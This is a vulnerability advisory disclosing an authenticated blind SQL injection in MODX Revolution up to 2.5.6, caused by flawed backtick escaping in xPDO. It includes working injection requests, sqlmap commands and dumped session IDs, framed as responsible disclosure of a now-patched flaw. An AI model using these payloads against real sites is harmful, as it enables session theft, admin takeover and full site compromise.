MODX Revolution 2.0.1-pl - 2.5.6-pl blind SQLi
##############################################

Information
===========

Name:          MODX Revolution 2.0.1 - 2.5.6 (based on git commit)
Software:      MODX CMS
Homepage:      https://modx.com
Vulnerability: blind SQL injection
Prerequisites: attacker needs to be authenticated and with correct
               permissions
Severity:      high
CVE:           NA
Credit:        Anti RA$?is
HTML version:  https://bitflipper.eu

Description
===========

A SQL injection vulnerability was discovered in the xPDO library used by
MODX Revolution 2.5.6. The "resource/getNodes" and "system/contenttype/
getlist" actions are vulnerable and allow an authenticated attacker to read
data from database.

Proof of Concept
================

1) Action: "resource/getNodes"
------------------------------

Following request demonstrates the vulnerability. We can use different
criteria for "limit" and the generated response is limited accordingly,
proving that the vulnerability exists.

URL: http://victim.site/connectors/index.php?action=resource/getNodes&id=web

================[ src start ]================
POST /connectors/index.php?action=resource/getNodes&id=web HTTP/1.1
Host: victim.site
modAuth: modx58dd6b78abecd0.81702322_158e1eb90b8b9e0.82418629
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 90
Cookie: PHPSESSID=cj4hefna5no0hj0a0na84ir4t4
Connection: close

sortBy=menuindex` limit 1 #
================[ src end ]==================


The HTTP request above executes the `getResourceQuery()` method in
`modResourceGetNodesProcessor` class.

================[ src start ]================
<?php

public function getResourceQuery() {
    // ... source redacted

    $this->itemClass= 'modResource';
    $c= $this->modx->newQuery($this->itemClass);

    // ... source redacted

    $c->groupby($this->modx->getSelectColumns('modResource', 'modResource',
    '', $resourceColumns), '');
    $sortBy = $this->modx->escape($this->getProperty('sortBy'));
    $c->sortby('modResource.' . $sortBy,$this->getProperty('sortDir'));
    return $c;
}
================[ src end ]==================

The `sortBy` parameter is passed to the `escape()` method, which resides in
`xPDO` class.

================[ src start ]================
<?php

public function escape($string) {
    $string = trim($string, $this->_escapeCharOpen .
    $this->_escapeCharClose);
    return $this->_escapeCharOpen . $string . $this->_escapeCharClose;
}
================[ src end ]==================

The parameter `$string` is used as an argument to `trim()` function, which
removes `_escapeCharOpen` and `_escapeCharClose` characters from the
beginning and end of the string. In this case, the escape characters are
both backticks (U+0060). The resulting string is then padded with escape
characters which effectively removes multiple occurrences of escape
characters from the beginning and end of the string, but does not escape the
escape characters itself.

The result is then concatenated to create the SQL query in
`getResourceQuery()` method. Following SQL is sent to the database engine:

================[ src start ]================
SELECT `modResource`.`id`, /* redacted for brevity */, COUNT(Child.id) AS
childrenCount
FROM `modx_site_content` AS `modResource`
LEFT JOIN `modx_site_content` `Child` ON modResource.id = Child.parent
WHERE (  ( `modResource`.`context_key` = ? AND `modResource`.`show_in_tree`
= ? ) AND `modResource`.`parent` = ? )
GROUP BY `modResource`.`id`, /* redacted for brevity */,
`modResource`.`context_key`
ORDER BY modResource.`menuindex` limit 1 #` ASC
================[ src end ]==================

2) Action: "system/contenttype/getlist"
---------------------------------------

Similarly to previous vulnerability, the following issue ends up using the
same vulnerable `escape()` method and allows to use blind SQL injection to
query the database. Following parameter `sortAlias` can be used to inject
SQL.

================[ src start ]================
POST /connectors/index.php HTTP/1.1
Host: victim.site
modAuth: modx58dd6b78abecd0.81702322_158e1f669c75121.62443671
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://victim.site/manager/?a=resource/create
Content-Length: 81
Cookie: PHPSESSID=mq0kub9tiu3dv7l00ec472n9v6
Connection: close

id=1&action=system%2Fcontenttype%2Fgetlist&sortAlias=modContentType_id`
limit 1 #
================[ src end ]==================

Example attack scenario
=======================

A sqlmap.py can be used with following parameters:

================[ src start ]================
$ ./sqlmap.py --version
1.1.3.19#dev
$ ./sqlmap.py -r request.txt -p sortBy --level 5 --risk 3 --technique=B -b
================[ src end ]==================

The request file `request.txt` is the following (update modAuth header and
PHPSESSID cookie for valid ones):

================[ src start ]================
POST /connectors/index.php?action=resource/getNodes&id=web HTTP/1.1
Host: victim.site
Content-Length: 168
modAuth: modx58dd6b78abecd0.81702322_158e295393a1643.87130735
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=bhhu2cv7f1fbrr5dhig4afkrt5
Connection: close

sortBy=menuindex`
================[ src end ]==================

To dump session data, use:

================[ src start ]================
$ ./sqlmap.py -r request.txt -p sortBy --level 5 --risk 3 --technique=B -D \
modx -T modx_session -C id --dump

Database: modx
Table: modx_session
[5 entries]
+----------------------------+
| id                         |
+----------------------------+
| 2gpsqqdl030acmmj393vp79lu6 |
| 9uufrqkomi38nhpgpiq20m4rm4 |
| anbnkhvrsgh42447tgpelc32v0 |
| bhhu2cv7f1fbrr5dhig4afkrt5 |
| mq0kub9tiu3dv7l00ec472n9v6 |
+----------------------------+
================[ src end ]==================

Impact
======

The `modx_sessions` table holds active sessions and attacker can use blind
SQL injection to query users' sessions in the database. This could possibly
lead to admin account takeover or at least enable to access other accounts.
In case the attacker manages to get active session for admin account, then
he can execute PHP code (plugin install, file upload etc) and take control
over the application. Alternatively the attacker can access other user's
account and possibly use their access rights to compromise the site further.

Conclusion
==========

Authenticated attacker can use blind SQL injection to get access to
administrator account, which allows to execute PHP code, leading to full
site compromise.

Following release has been published mitigating this issue:
https://modx.com/blog/modx-revolution-2.5.7

Timeline
========

* 01.04.2017 | me > developer     | vulnerability discovered
* 03.04.2017 | me > developer     | sent the report to the developers
* 03.04.2017 | developer > me     | asked for PoC of reading user's session
                                    from database
* 05.04.2017 | developer > me     | vulnerability patched
* 21.04.2017 | developer > public | new version released
* 01.05.2017 | me > public        | full disclosure

---
Anti RA$?is
Blog: https://bitflipper.eu
Pentester at http://www.clarifiedsecurity.com